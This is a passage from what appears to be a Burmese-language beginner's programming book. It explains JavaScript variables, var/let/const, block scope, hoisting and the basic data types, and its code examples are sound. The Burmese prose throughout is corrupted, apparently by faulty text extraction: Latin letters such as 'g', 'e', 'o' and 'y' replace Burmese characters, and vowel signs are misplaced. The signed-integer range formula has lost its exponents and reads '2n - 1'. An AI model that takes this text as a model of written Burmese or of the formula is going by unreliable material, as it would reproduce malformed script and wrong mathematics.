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ကြေလ့လာသွားeကရမှာပဲ goစ်ပါတယ်။ ကြေရှ့ဆက်ကြေoာ်gပတဲ့အခါ ဒီသကြေyာကို အကြေgခခံပြပီး ရှင်းလင်းကြေoာ် gပသွား
မှာပဲgoစ်ပါတယ်။

Variables
Variables ကို gမန်မာလုိ တုိက်ရုိက်gပန်ရင်ကြေတာ့ ကိန်းရှင်လုိ့ gပန်ရပါမယ်။ ကြေgပာင်းလဲနိုင်ကြေသာ တန်oုိးကြေပါ။့
မျက်စိထဲမှာ yယ်လုိပုံကြေoာ်eကည့်ရမလဲဆိုရင်၊ Variable   ဆိုတာ ကွန်ပျူတာ   Memory   ကြေပါ်က နှစ်သက်ရာ  
တန်oုိးကြေတွ သိမ်းလုိရ့တဲ့  ကြေနရာကြေလးတစ်ခု လုိ့  gမင်eကည့်နိုင်ပါတယ်။ အခုလုိ ညွှန်eကားချက်ကြေလး တစ်ခု
ကြေပးလုိက်မယ် ဆိုeကပါစို။့

var num

ဒါဟာ Memory ကြေပါ်မှာ ကြေနရာကြေလးတစ်ခုယူပြပီး အ့ဲဒီကြေနရာကို  num လုိ့ အမည်ကြေပးလုိက်တာပါ။ yယ်နား
မှာကြေနရာယူရမယ်၊ yယ်လုိကြေနရာယူရမယ်ဆိုတာ ကိုယ်တိုင်တိုက်ရုိက် စီမံစရာမလုိပါyူး။ သတ်မှတ်ထား
တဲ့ ကြေရးထုံးကို အသုံးgပုပြပီး ညွှန်eကားချက်ကို ကြေရးကြေပးလုိက်ယုံပါပဲ။ ကျန်တာကို Compiler/Interpreter က
eကည့်လုပ်သွားပါလိမ့်မယ်။  JavaScript  မှာ  Variable  ကြေeကညာလုိရင်  var Keyword  ကို  အသုံးgပုပြပီး
ကြေeကညာရတယ်ဆိုတဲ့ ကြေရးထုံးသတ်မှတ်ရှိလုိ့ သတ်မှတ်ချက်နဲအ့ညီ ညွှန်eကားလုိက်gခင်းပဲ goစ်ပါတယ်။

ကြေနရာကြေလးယူပြပီးပြပီ  ဆိုရင်ကြေတာ့  အ့ဲဒီကြေနရာမှာ  သိမ်းချင်တဲ့တန်oုိးကြေတွ  သိမ်းလုိရ့သွားပါပြပီ။  ဒီလုိသိမ်းoုိ့
အတွက် Programming Language အများစုက Equal သကြေက[တကို သုံးeကပါတယ်။ ဒီလုိပါ –

var num
num = 3

ဒါဟာ Memory ကြေပါ်မှာ ကြေနရာတစ်ခုယူ၊ num လုိအ့မည်ကြေပးပြပီး၊ အ့ဲဒီကြေနရာမှာ 3 ဆိုတဲ့တန်oုိးကို သိမ်းလုိက်
တာပါ။ တစ်ဆက်ထဲ အခုလုိကြေရးမယ်ဆိုရင်လည်း ရပါတယ်။

var num = 3
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အများစုက Equal ဆိုရင်ညီတယ်လုိ့ သိထားတာမုိလုိ့့ ပရုိင်္ဂရမ်းမင်း ကိုစကြေလ့လာချနိ်မှာ ဒါဟာ ကြေခါင်းထဲမှာ
ပုံကြေoာ်eကည်ရခက်ပြပီး အခက်ကြေတွ့eကကြေလ့ရှိတဲ့ gပဿနာတစ်ခုပါ။ ဒါကြေeကာင့် ဒါကြေလးကို အထူးင်္ဂရုgပုoုိ့ လုိပါ
လိမ့်မယ်။  Equal  သကြေက[တကို  ပရုိင်္ဂရမ်းမင်းမှာ  အများအားgoင့်   တန်oုိးသတ်မှတ်oုိ့  သံုးeကပါတယ်။
Assignment  Operator  လုိ့ကြေခါ်ပါတယ်။  ညီတယ်ဆိုတဲ့  အဓိပ္ပါယ်မဟုတ်ပါyူး။  ဒါကြေeကာင့်  Equal
သကြေက[တကြေလးကိုကြေတွ့ရင် ဒီလုိမျက်စိထဲမှာ gမင်eကည့်လုိက်ပါ။

 Pseudocode 

var num ← 3

ကြေနာက်ပုိင်းမှာ ကုဒ်နမူနာကြေတွကို ကြေoာ်gပတဲ့အခါ yာကုဒ်အမျ ို းအစားလဲ ကွဲgပားသွားကြေအာင် နမူနာရဲ့အကြေပါ်
နားမှာ  ကြေခါင်းစဉ်တပ်  ကြေoာ်gပသွားပါမယ်။  အထက်ကနမူနာဟာ  လက်ကြေတွ့အလုပ်လုပ်တဲ့ကုဒ်မဟုတ်yဲ
သကြေyာသyာဝကို  ရှင်းgပoုိ့အတွက်  အသုံးgပုတဲ့  Pseudocode  ကြေခါ်  နမူနာကုဒ်  goစ်တဲ့အတွက်
Pseudocode လုိ ့ကြေခါင်းစဉ်တပ် ကြေပးထားပါတယ်။

သိမ်းထားတဲ့ တန်oုိးကြေတွကို လုိအပ်တဲ့အခါ gပန်ယူသုံးလုိရ့သလုိ၊ အgခားတန်oုိးနဲ့ ကြေgပာင်းသိမ်းလုိလ့ည်း ရပါ
တယ်။ ဥပမာ -

 JavaScript 

var num1 = 5
var num2 = 10
var num3 = num1 + num2

ကြေရးထားတဲ့ကုဒ်အရ  Variable  (၃)  ခု  တစ်ခုပြပီးတစ်ခု  ကြေeကညာထားတာပါ။  တန်oုိးကြေတွလည်း  တစ်ခါထဲ
ထည့်ထားပါတယ်။  ထူးgခားချက်အကြေနနဲ့  num3 အတွက်တန်oုိးအတွက်  num1 နဲ့  num2 ကို  ကြေပါင်းပြပီး
ထည့်oုိ့  ညွှန်eကားချက်ကြေပးထားပါတယ်။  Plus  သကြေက[တကိုကြေတာ့ ပရုိင်္ဂရမ်းမင်းမှာလည်း ကိန်းင်္ဂဏန်းကြေတွ
ကြေပါင်းoုိသုံ့းနိုင်ပါတယ်။ 

ဒီစာအုပ်မှာ  ကြေoာ်gပထားတဲ့  နမူနာ  JavaScript  ကုဒ်ကြေတွကို  တစ်ခါထဲ  လက်ကြေတွ့ကြေရးပြပီး  စမ်းeကည့်နိုင်ပါ
တယ်။  ဒီလုိစမ်းeကည့်နိုင်oုိအ့တွက်  သီးgခားနည်းပညာကြေတွ  ထပ်ထည့်oုိ့မလုိပါyူး။  Chrome,  Edge,
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Firefox  စတဲ့  ပံုမှန်အသုံးgပုကြေနeက  Web Browser  တစ်ခုရှိရင် စမ်းလုိရ့ပါတယ်။  Web Browser  ကြေတွမှာ
DevTools လုိ့ကြေခါ်တဲ့ နည်းပညာတစ်ခု ပါဝင်ပြပီး၊ အ့ဲဒီ DevTools ထဲမှာ JavaScript ကုဒ်ကြေတွ ကြေရးလုိ့ စမ်း
လုိရ့တဲ့ JavaScript Console လုပ်ကြေဆာင်ချက် ပါဝင်ပါတယ်။ 

နမူနာပုံမှာ ကြေလ့လာeကည့်ပါ။ Browser ရဲ့ ကြေနရာလွတ်မှာ Right Click နှိပ်ပြပီး Inspect ကို ကြေရွးgခင်းအားgoင့်
DevTools ကို oွင့်နိုင်ပါတယ်။ Chrome Browser မှာကြေတာ့ Ctrl+Shift+I (သုိ့) Ctrl+Shift+J ကို Shortcut
အကြေနနဲ့  နှိပ်ပြပီးoွင့်နိုင်ပါတယ်။  ပြပီးတဲ့အခါ  နမူနာပံုရဲ့  နံပါတ်  (3)  gပထားတဲ့ကြေနရာက  Console  ကိုနှိပ်ပြပီး
နံပါတ် (4) gပထားတဲ့ ကြေနရာမှာ JavaScript ကုဒ်ကြေတွကြေရးပြပီး စမ်းeကည့်လုိရ့ပါပြပီ။

နံပါတ် (5) gပထားတဲ့ Menu ကိုနှိပ်ပြပီး DevTools ကြေoာ်gပတဲ့ကြေနရာ ကြေgပာင်းလုိရ့ပါတယ်။ နမူနာမှာ Browser
ရဲ့ ညာyက်gခမ်းမှာ ကြေoာ်gပထားပါတယ်။ ကြေအာက်yက်gခမ်းမှာ ကြေoာ်gပချင်ရင်လည်းရပါတယ်။ yယ်yက်
gခမ်းမှာ ကြေoာ်gပချင်ရင်လည်း ရပါတယ်။ ဒါမှမဟုတ်  DevTools  ကိုသီးgခား  Window  တစ်ခုနဲ့  gပကြေစချင်ရင်
လည်းရပါတယ်။ Menu ထဲက Dock side ကြေyးနားက ခလုပ်ကြေလးကြေတွကို နှိပ်ပြပီး ကြေgပာင်းကြေပးနိုင်ပါတယ်။
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Console  မှာ  ကုဒ်ကြေတွကြေရးစမ်းတဲ့အခါ  တစ်ကြေeကာင်းကြေရးရင်  တစ်ခါ  အလုပ်လုပ်ပြပီး  အလုပ်လုပ်လုိက်တဲ့
အတွက် gပန်ရလာတဲ့ ရလဒ်ကို ချက်ချင်းကြေတွ့gမင်ရပါတယ်။ ဥပမာ 1 + 1 ကြေရးပြပီး Enter နှိပ်လုိက်ရင် 2 ဆို
တဲ့ရလဒ်ကို ချက်ချင်းgပန်ရပါတယ်။ အကြေပါ်ကနမူနာပံုမှာလည်း ကုဒ်နှစ်ကြေeကာင်းကြေရးစမ်းထားပါတယ်။ var
num ဆိုတဲ့ကုဒ်ရဲ့  ရလဒ်ကကြေတာ့  undefined  goစ်ကြေနတာကို ကြေတွ့ ရပါလိမ့်မယ်။ ရလဒ်တန်oုိး မရှိကြေသးလုိ့
undefined ကိုရလဒ်အကြေနနဲ့ gပန်ရတာပါ။ ကြေနာက်တစ်လုိင်းမှာ  num = 3 လုိ့ကြေရးလုိက်တဲ့အခါ ရလဒ်
အကြေနနဲလ့ည်း 3 ကိုပဲ gပန်ရတာကို ကြေတွ့gမင်ရမှာ goစ်ပါတယ်။

ကုဒ်နမူနာကြေတွကို လက်ကြေတွ့ကြေရးစမ်းလုိက်gခင်းအားgoင့်၊ ကုဒ်ရဲ့ အလုပ်လုပ်ပံုကို တစ်ခါထဲ မျက်gမင် ကြေတွ့ ရ
လုိ့  ပုိပြပီးကြေတာ့  နားလည်သွားမှာgoစ်ပါတယ်။  မှားတတ်တဲ့အမှားကြေတွကိုလည်း  တစ်ခါထဲ  ကြေတွ့gမင်သွားမှာ
goစ်သလုိ၊  ကြေရးကျင့်လည်း  တစ်ခါထဲ  ရသွားမှာ  goစ်ပါတယ်။  လက်ကြေတွ့ကြေရးစမ်းတာထက်  ပုိထိကြေရာက်တဲ့
ကြေလ့လာနည်း မရှိပါyူး။ ဒါကြေeကာင့် ကုဒ်နမူနာကြေတွကို တစ်ခါထဲကြေရးစမ်းeကoုိ ့တိုကတ်ွန်းပါတယ်။ လုိက်ကြေရး
လုိရ့ကြေအာင်လည်း နမူနာကြေတွကို ကြေပးသွားမှာပါ။

ဆက်လက်ကြေလ့လာeကပါမယ်။  Programming  Language  အများစုက  သတ်မှတ်ထားeကတဲ့  Variable
အမည်ကြေပးပုံကြေပးနည်း အကြေeကာင်း ကြေgပာချင်ပါတယ်။ Language ကြေပါ်မူတည်ပြပီး ကွဲလဲွချက်ကြေတွရှိနိုင်ကြေပမယ့်
အများအားgoင့်က ဒီလုိပါ။ Variable အမည်ကြေပးတဲ့အခါ – 

• abc စာလုံးအကြကီး/အကြေသးကြေတွ ပါလုိရ့ပါတယ်၊
• 123 င်္ဂဏန်းကြေတွ ပါလုိရ့တယ် (ဒါကြေပမယ့် င်္ဂဏန်းနဲ့ မစရပါyူး)၊
• Space ကြေတွပါလုိ့ မရပါyူး၊
• လုိအပ်ရင် Underscore သကြေက[တကို ထည့်သုံးနိုင်ပါတယ်၊
• +,-.*&#@ အပါအဝင် Special Character သကြေက[တကြေတွ ပါလုိမ့ရပါyူး။

ဒါက  Language  အများစုမှာ  ရှိeကတဲ့  သကြေyာသyာဝပါ။  JavaScript  မှာလည်း  အတတူူပါပဲ။  ထူးgခား
ချက်အကြေနနဲ။့  Special Character  ကြေတွထဲက $  သကြေက[တကို  Variable  အမည်မှာ ထည့်သွင်းအသံုးgပုခွင့်
ကြေပးထားပါတယ်။ ဒါကြေeကာင့် ဒီလုိကြေရးရင် ရပါတယ်။
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 JavaScript 

var $num = 1

ကြေနာက်ထပ်သတိgပုရမယ့်အချက်ကကြေတာ့  JavaScript  အပါအဝင်  Language  အများစုဟာ  Case
Sensitive  goစ်eကပါတယ်။  အဓိပ္ပါယ်က  စာလံုးအကြကီးအကြေသး  လဲွလုိမ့ရပါyူး။  အတိအကျသတ်မှတ်ပြပီး
အတိအကျသုံးကြေပးရပါတယ်။ ဥပမာ -

 JavaScript 

var Num1 = 3
var num2 = num1 + 5

ဒါဆိုရင်  အဆင်မကြေgပပါyူး။ ကြေeကညာတံုးက  Num1 လုိ့  စာလံုးအကြကီးနဲ့  ကြေeကညာခဲ့ပါတယ်။ gပန်သုံးကြေတာ့
num1 ဆိုတဲ့စာလံုးအကြေသးနဲ့  goစ်ကြေနလုိ့  Language  က  num1 ဆိုတာ မရှိyူးဆိုတဲ့  Error  ကိုကြေပးပါလိမ့်
မယ်။ စမ်းeကည့်နိုင်ပါတယ်။

JavaScript မှာ Variable ကြေeကညာoုိ့ နည်းလမ်းနှစ်မျ ို းရှိပါတယ်။ ဒီလုိပါ။

 JavaScript 

var num1 = 3
let num2 = 3

ကြေရးပုံကြေရးနည်းအတူတူပါပဲ။ အသံုးgပုတဲ့  Keyword  ကွာသွားတာပါ။ အခုကြေပးထားတဲ့  နမူနာအရ  num1 နဲ့
num2 ဆိုတဲ့ Variable နှစ်ခုမှာ တန်oုိးကိုယ်စီ သတ်မှတ်ကြေပးလုိက်တာပါ။ ထူးgခားချက်အကြေနနဲ့ မှတ်ရမှာက
let Keyword  ကို  အသုံးgပုကြေeကညာတဲ့  Variable  ကြေတွကို  Block Scope Variable  လုိ့  ကြေခါ်ပါတယ်။ ဒီ
အကြေeကာင်းကို  သင့်ကြေတာ်တဲ့ကြေနရာ  ကြေရာက်ရင်  ကြေနာက်တစ်ကြကိမ်  ထပ်ကြေgပာပါမယ်။  အခုကြေလာကြေလာဆယ်
Block Scope Variable ကို ဒီနမူနာကြေလးနဲ့ eကည့်ပါ။
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 JavaScript 

{
    var num1 = 3
    let num2 = 3
}

Variable  နှစ်ခုလံုးကို  တွန့်ကွင်းအoွင့်အပိတ်  Block  ထဲမှာ  ကြေရးထားပါတယ်။  var ကိုအသုံးgပုကြေeကညာ
ထားတဲ့  Variable  ကို ဒီ  Block ရဲ့အgပင်ကကြေနလည်း သံုးလုိရ့ပါတယ်။ let ကိုအသုံးgပု ကြေeကညာထားတဲ့
Variable ကိုကြေတာ့ ဒီ Block ရဲ့ အgပင်ကကြေန သုံးလုိရ့မှာ မဟုတ်ပါyူး။ ဒါကြေeကာင့် -

 JavaScript 

num1 + 2

– ဆိုရင် အကြေgo 5 ရမှာပါ။ num1 ထဲက တန်oုိး 3 နဲ ့2 ကိုကြေပါင်းလုိက်တဲ့အတွက်ပါ။ ဒါကြေပမယ့် -

 JavaScript 

num2 + 2

ဆိုရင်ကြေတာ့  Error  goစ်ပါတယ်။  num2 မရှိyူးလုိ့  ကြေgပာပါလိမ့်မယ်။  yာကြေeကာင့်လဲဆိုကြေတာ့  num2 ဟာ
let ကို အသုံးgပု ကြေeကညာထားတဲ့ Block Scope Variable goစ်ကြေနလုိ့ သူ့ Block gပင်ပမှာ အသံုးgပုခွင့်မရှိ
တဲ့ အတွက်ကြေeကာင့်ပါ။ 

Variable ကြေတွကို Comma ခံပြပီး အတွဲလုိက်ကြေeကညာလုိလ့ည်း ရပါတယ်။ ဒီလုိပါ -

 JavaScript 

let a, b, c = 3

ဒါဟာ a, b နဲ့  c ဆိုပြပီး Variable (၃) ခု တစ်ခါထဲကြေeကညာလုိက်တာပါ။ c အတွက် တန်oုိးအကြေနနဲ့  3 လုိ့
လည်း  တစ်ခါထဲ  သတ်မှတ်ထားပါတယ်။  ဒါ  c  နဲ့ပဲ  ဆိုင်ပါတယ်။  a  ကြေတွ  b  ကြေတွနဲ့  မဆိုင်လုိ့  လက်ရှိ
ကြေeကညာချက်အရ a နဲ့ b မှာ တန်oုိးကြေတွ မရှိeကကြေသးပါyူး။
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ကိန်းရှင်  Variable  ကြေတရွှိသလုိ  ကိန်းကြေသ  Constant  ကြေတွလည်းရှိပါကြေသးတယ်။  Variable  ကြေတွကကြေတာ့
တန်oုိးကို ကြေgပာင်းလုိရ့ကြေပမယ့် Constant ကကြေတာ့ တန်oုိးကို ကြေgပာင်းလုိမ့ရပါyူး။ ဒီလုိကြေရးရပါတယ်။

 JavaScript 

const PI = 3.14

const Keyword  ကိုအသုံးgပုပြပီးကြေeကညာလုိက်တာပါ။ အထဲမှာ တန်oုိးတစ်ခုလည်း တစ်ခါထဲ ထည့်ကြေပး
ထားပါတယ်။ နမူနာအရ  PI ဟာ  Constant  goစ်သွားပါပြပီ။ ဒါကြေeကာင့် တန်oုိးကြေgပာင်းလုိ့  မရကြေတာ့ပါyူး။
အခုကြေန ဒီလုိကြေရးရင် Error goစ်ပါလိမ့်မယ်။

 JavaScript 

PI = 3.142

Constant  ကိန်းကြေသကို  ကြေgပာင်းခွင့်မရှိyူးဆိုတဲ့  Error  ကိုရမှာပါ။  var နဲ့  let ရဲ့အားသာ
ချက်/အားနည်းချက်၊  const ရဲ့ ထူးgခားချက် စသည်goင့် ကြေgပာစရာကြေလးကြေတွ ကျန်ကြေသးကြေပမယ့် အ့ဲဒါကြေတွ
က ကုဒ်ကြေရးသားတဲ့ အကြေတွ့အကြကံု အနည်းအကျဉ်း ရှိပြပီဆိုကြေတာ့မှ ကြေgပာလုိ့ကြေကာင်းတဲ့ အကြေeကာင်းအရာကြေတွ
ပါ။ ဒါကြေeကာင့် အခုအစပုိင်းမှာကြေတာ့ ကြေရးနည်းကြေတွ ဒီလုိရှိတယ် ဆိတုာကြေလာက်ကိုပဲ မှတ်ထားကြေပးပါ။

ကြေရးလုိက်တဲ့ကုဒ်ကြေတွဟာ  အပြမဲတမ်း  တစ်ကြေeကာင်းပြပီးမှတစ်ကြေeကာင်း  အစီအစဉ်အတိုင်း  အလုပ်လုပ်တာ
ကြေတာ့ မဟုတ်ကြေပါy့ူး။ ကြေနာက်မှကြေရးထားကြေပမယ့် Language ဒီဇုိင်းအရ အရင်အလုပ်လုပ်သွားတာမျ ို းကြေတွ ရှိ
သလုိ  Asynchronous Programming  ကြေခါ် ပြပိုင်တူအလုပ်လုပ်ကြေစနိုင်တာမျ ို းကြေတွလည်း ရှိeကပါတယ်။ ဒါ
ကြေပမယ့် ကြေခါင်းထဲမှာ အလုပ်လုပ်သွားပံုကို  ပံုကြေoာ်eကည့်တဲ့အခါ အများအားgoင့် အစီအစဉ်အတိုင်းပဲ eကည့်
eကရမှာပါ။ ဥပမာ -

 JavaScript 

let num1 = 1
let num2 = 2

num1 + num2
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ဒါရှင်းပါတယ်။ num1 ကြေeကညာတယ်၊ num2 ကြေeကညာတယ်၊ ပြပီးကြေတာ့မှ num1 နဲ့ num2 ကို ကြေပါင်းထားပါ
တယ်။ ဒီလုိကြေရးမယ်ဆိုရင် အဆင်ကြေgပမှာ မဟုတ်ပါyူး။

 JavaScript 

num1 + num2

let num1 = 1
let num2 = 2

ပထမဆံုး  num1 နဲ့  num2 ကို  ကြေပါင်းခိုင်းတဲ့အခါ  မရှိyူးဆိုတဲ့  Error  တက်ပါလိမ့်မယ်။  အစီအစဉ်အရ
num1 တို့  num2 တို့  ကြေeကညာတဲ့အဆင့်ကို  မကြေရာက်ကြေသးလုိ့ပါ။  ဒါကြေပမယ့်  ထူးgခားချက်အကြေနနဲ့  var
Keyword ကို အသုံးgပုမယ်ဆိုရင် ရလဒ်တစ်မျ ို း goစ်သွားပါလိမ့်မယ်။

 JavaScript 

num1 + num2

var num1 = 1
var num2 = 2

Console  မှာ ကုဒ်ကြေတွကြေရးပြပီး  Enter  နှိပ်လုိက်ရင် ကြေရးလုိက်တဲ့  ကုဒ်ကို  ချက်ချင်းအလုပ်လုပ်ကြေပးပါတယ်။
Shift  +  Enter  နှိပ်လုိက်ရင်ကြေတာ့ အလုပ်မလုပ်ကြေသးyဲ  ကြေနာက်တစ်ကြေeကာင်းကို  ဆင်းကြေပးလုိ့  ကြေနာက်တစ်
လုိင်း  ထပ်ကြေရးနိုင်ပါတယ်။ ဒီနည်းနဲ့  နှစ်ကြေeကာင်း သုံးကြေeကာင်း ကြေရးပြပီးမှ  အလုပ်လုပ်ကြေစချင်ရင်လည်း ရနိုင်
တယ်ဆိုတာကို  ထည့်သွင်းမှတ်သားကြေပးပါ။  အကြေပါ်ကကုဒ်နမူနာ  (၃)  ကြေeကာင်းကို  Shift  +  Enter  နဲ့  (၃)
ကြေeကာင်းလုံးတစ်ခါထဲ ကြေရးပြပီးမှ စမ်းeကည့်ပါ။ 

အလုပ်ကြေတာ့ မလုပ်ပါyူး။ ဒါကြေပမယ့်  Variable  မရှိyူးဆိုတဲ့  Error  မတက်ကြေတာ့ပါyူး။  Variable  ကြေတွကို
အရင်မကြေeကညာyဲ ကြေနာက်မှကြေeကညာကြေပမယ့် ရှိမှန်းသိပါတယ်။ ဒါကြေပမယ့် သူတို့ထဲက တန်းoုိးကြေတွကိုကြေတာ့
မသိကြေသးပါyူး။ ဒါကြေeကာင့် မရှိyူးဆိုတဲ့  Error  မတက်ကြေတာ့သလုိ အကြေgoလည်းမှန်မှာ မဟုတ်ပါyူး။ အ့ဲဒီ
ကုဒ်ကို တစ်ကယ်တမ်းအလုပ်လုပ်သွားတဲ့အခါ ဒီလုိလုပ်သွားမှာပါ။
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 Pseudocode 

var num1
var num2
num1 + num2
num1 = 1
num2 = 2

JavaScript  က သူ့yာသာ num1 နဲ့  num2 ကြေeကညာချက်ကြေတွကို အကြေပါ်ပုိလုိ့က်ပြပီးမှ အလုပ်လုပ်သွားမှာ
ပါ။  ဒီသကြေyာကို    Variable  Hoisting    လုိ့ကြေခါ်ပါတယ်  ။  Variable  Lifting  လုိလ့ည်းကြေခါ်ပါတယ်။
ကြေeကညာချက်ကြေတွကို အလုိအကြေလျှာက် အကြေပါ်တင်ကြေပးလုိက်တာမုိလုိ့့ပါ။

ဒါဟာ ထူးgခားချက်တစ်ခုမုိလုိ့့ သိကြေအာင်ထည့်ကြေgပာလုိက်တာပါ။ လက်ကြေတွ့မှာ အစီအစဉ်အတိုင်း ရှိသင့်တဲ့
ကုဒ်ကို အစီအစဉ်အတိုင်း ကြေရးကြေပးoုိ့ လုိအပ်ပါတယ်။
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အခန်း (၁၃) – JavaScript Data Types

Variable  တစ်ခု  ကြေeကညာလုိက်တဲ့အခါ  Memory  ကြေပါ်မှာ ကြေနရာယူကြေပးသွားတယ်ဆိုကြေတာ့၊  yယ်ကြေလာက်
ပမာဏယူမှာလဲဆိုတာ ကြေgပာစရာရှိလာပါတယ်။ သိမ်းမယ့်အချက်အလက် အမျ ို းအစား Data Type ကြေပါ်မှာ
မူတည်ပြပီးကြေတာ့ လုိသကြေလာက် ပမာဏကို ယူသွားတာပါ။ A, B, C ဆိုတဲ့ အင်္ဂ[လိပ်စာ စာလံုးကြေလး တစ်လံုး
သိမ်းoုိအ့တွက်  1  byte   ပမာဏရှိတဲ့  ကြေနရာယူလုိက်ရင်  သိမ်းလုိရ့သွားပါပြပီ။  1,  2,  3  ကိန်းင်္ဂဏန်းကြေလး
တစ်လံုး သိမ်းoုိဆ့ိုရင်လည်း  1 byte ပမာဏရှိတဲ့ ကြေနရာနဲတ့င် လံုကြေလာက်ပါတယ်။ ဒါကြေပမယ့် 100, 1234,
9999  စတဲ့  တန်oုိးကြေတွ  သိမ်းချင်လုိ့ကြေတာ့  1  byte  ပမာဏနဲ့  ရမှာမဟုတ်ပါyူး။  ဒီလုိတန်oုိးကြေတွ  သိမ်းoုိ့
အတွက် လက်ခံသိမ်းဆည်းနိုင်တဲ့ ပမာဏကို ကြေနရာယူoုိ့ လုိပါလိမ့်မယ်။ အလားတူပဲ "Hello", "မင်္ဂ[လာပါ"
စတဲ့စာကြေတွ သိမ်းချင်ရင်လည်း လက်ခံသိမ်းဆည်းနိုင်ကြေလာက်တဲ့ ပမာဏကို ယူoုိ့ လုိပါလိမ့်မယ်။

Programming Language အများစု အကြေgခခံ Data Type ကြေတွ ရှိeကပါတယ်။ ဒီ (၄) မျ ို းပါ။

• Character
• Number
• Boolean
• String

ဒီအကြေgခခံ Data Type ကြေတွကို အများအားgoင့် Primitive Type လုိ့ကြေခါ်eကပါတယ်။ တန်oုိးတစ်ခု သိမ်းလုိရ့
တဲ့အမျ ို းအစား goစ်တဲ့အတွက် Scala Type လုိလ့ည်း ကြေခါ်eကပါတယ်။ တန်oုိးကြေတွ အတွဲလုိက်သိမ်းလုိရ့တဲ့
Types ကြေတွလည်း ရှိပါကြေသးတယ်။ ကြေနာက်ပုိင်းမှာ ဆက်ကြေgပာကြေပးပါမယ်။
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Character ဆိုတာ A, B, C စာလုံးကြေလး တစ်လံုးကို ကြေgပာတာပါ။  Variable တစ်ခုကြေeကညာပြပီး သူ့ရဲ့  Data
Type  ကို  Character  လုိ့  သတ်မှတ်ကြေပးလုိက်ရင် စာလံုးကြေလးတစ်လုံးကိုသာ လက်ခံသိမ်းဆည်းကြေပးနိုင်တဲ့
Variable  တစ်ခုကို  ရသွားတာပါ။ ဒီသကြေyာသyာဝကြေတွကို  ရှင်းgပoုိ့အတွက်  Pseudocode  ကြေတွနဲ့  နမူနာ
gပချင်ပါတယ်။  Pseudocode  ဆိုတာ နမူနာကုဒ်သက်သက်goစ်ပြပီး  တစ်ကယ် လက်ကြေတွ့အလုပ်လုပ်မယ့်
ကုဒ်မဟုတ်ကြေeကာင်း ထပ်ကြေgပာလုိပါတယ်။ ဒါကြေeကာင့် ကြေရးစမ်းoုိ့ မဟုတ်yဲ၊ oတ်eကည့်ပြပီး နားလည်ကြေအာင်
ကြကိုးစားoုိ ့goစ်ပါတယ်။

 Pseudocode 

let blood: char = 'A';

ဒါဟာ  let Keyword  ကိုအသုံးgပုပြပီး  blood လုိ့ကြေခါ်တဲ့  Variable  တစ်ခုကြေeကညာလုိက်တာပါ။ ထူးgခား
ချက်အကြေနနဲ့ ကြေနာက်မှာ char Keyword နဲ့ Character Data Type goစ်ကြေeကာင်း ထည့်သွင်းကြေeကညာလုိက်
တဲ့  အတွက်  ကြေနရာယူတဲ့အခါ  စာလံုးတစ်လုံးစာပဲ  ကြေနရာယူသွားမှာgoစ်လုိ့  သိမ်းတဲ့အခါမှာလည်း  စာလံုး
တစ်လံုးပဲ သိမ်းလုိရ့မှာ goစ်ပါတယ်။ Variable Name နဲ့ Data Type ကို Full-Colon နဲ့ ပုိင်းgခားပြပီး ကြေရးတဲ့
နည်းကို နမူနာအကြေနနဲ ့အသုံးgပုထားပါတယ်။

တစ်လက်စထဲ Character တန်oုိးgoစ်တဲ့ A ကို ကြေရးတဲ့အခါ Single Quote အoွင့်အပိတ်ထဲမှာ ကြေရးကြေပးထား
တာကိုလည်း သတိgပုသင့်ပါတယ်။  Character Data Type  ရှိတဲ့  Language  အများစုမှာ ဒီလုိပဲ ကြေရးရပါ
တယ်။ ကုဒ်လုိင်းရဲ့ ကြေနာက်ဆံုးက Semicolon ကိုလည်း သတိgပုသင့်ပါတယ်။ တစ်ချ ို ့ Language ကြေတွမှာ
ကုဒ်တစ်လုိင်း  ဆံုးတိုင်း  Semicolon  နဲ့  အဆံုးသတ်ကြေပးoုိ့  သတ်မှတ်ထားeကလုိ့  မgoစ်မကြေနထည့်ကြေပးရပါ
တယ်။ တစ်ချ ို ့ Language ကြေတွမှာကြေတာ့ မလုိအပ်ပါyူး။

Number  ဆိုတဲ့  Data Type  အမျ ို းအစားထဲမှာကြေတာ့ yယ်လုိ  Number  လဲဆိုပြပီး မျ ို းကွဲကြေတွ ထပ်ရှိနိုင်ပါ
ကြေသးတယ်။ ကိန်းgပည့်ကြေတွလား။ ဒဿမကိန်းကြေတွလား။ ကိန်းgပည့်ကြေတွသိမ်းoုိ့အတွက် ကြေနရာလုိအပ်ချက်နဲ့
ဒဿမကိန်းကြေတွ သိမ်းoုိအ့တွက် ကြေနရာလုိအပ်ချက်က မတူပါyူး။ ကိန်းgပည့်ဆိုတာ အကြေပါင်းကိန်းကြေတွ အ
နှုတ်ကိန်းကြေတွ အကုန်ပါတဲ့ ကိန်းgပည့်ကြေတွ သိမ်းလုိရ့တာလား။ အကြေပါင်းကိန်း ကြေတွချည်းပဲ ပါတဲ့ ကိန်းgပည့်
ကြေတွပဲ ရတာလား။ ရတယ်ဆိုတာ yယ်ကြေလာက်ထိရတာလဲ။  1  ကကြေန  1000  ထိလား။ အဆံုးအစမရှိ  ကြေပး
ချင်သကြေလာက် ကြေပးလုိရ့တာလား။ စသည်goင့် ရိှပါကြေသးတယ်။
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အကြေပါင်း အနှုတ် အားလံုးပါတဲ့ ကိန်းgပည့်ကြေတွကို Integer သုိ့မဟုတ် Signed Integer လုိ့ ကြေခါ်eကပါတယ်။
အကြေပါင်းကိန်းကြေတွချည်းပဲ ပါတဲ့ ကိန်းgပည့်ကြေတွကိုကြေတာ့ Unsigned Integer လုိ့ကြေခါ်ပါတယ်။ yယ်ကြေလာက်
ထိ သိမ်းလုိရ့သလဲ ဆိုတာကို Language အများစုက ပံုကြေသ သတ်မှတ်ထားeကကြေပမယ့် တစ်ချ ို ့ Language
ကြေတွက 8-bit, 16-bit, 32-bit, 64-bit စသgoင့် ကိုယ်လုိသကြေလာက် ကြေနရာယူသတ်မှတ်ခွင့်ကြေပးeကပါတယ်။

 Pseudocode 

let num1: i8 = 100;
let num2: i32 = 10000000;

နမူနာမှာ num1 ဟာ 8-bit Integer goစ်ကြေeကာင်း i8 Keyword နဲ့ သတ်မှတ်ကြေပးထားသလုိ num2 ဟာ 32-
bit Integer  goစ်ကြေeကာင်း  i32 နဲ့  သတ်မှတ်ကြေပးထားတာပါ။  Signed Integer  ကြေတွမှာ ကိန်းင်္ဂဏန်းကြေတွ
သိမ်းတဲ့အခါ -(2n - 1) ကကြေန 2n - 1 – 1 ထိသိမ်းလုိရ့ပါတယ်။ ဒါကြေeကာင့် 8-bit Integer ဆိုရင် -128 ကကြေန 127
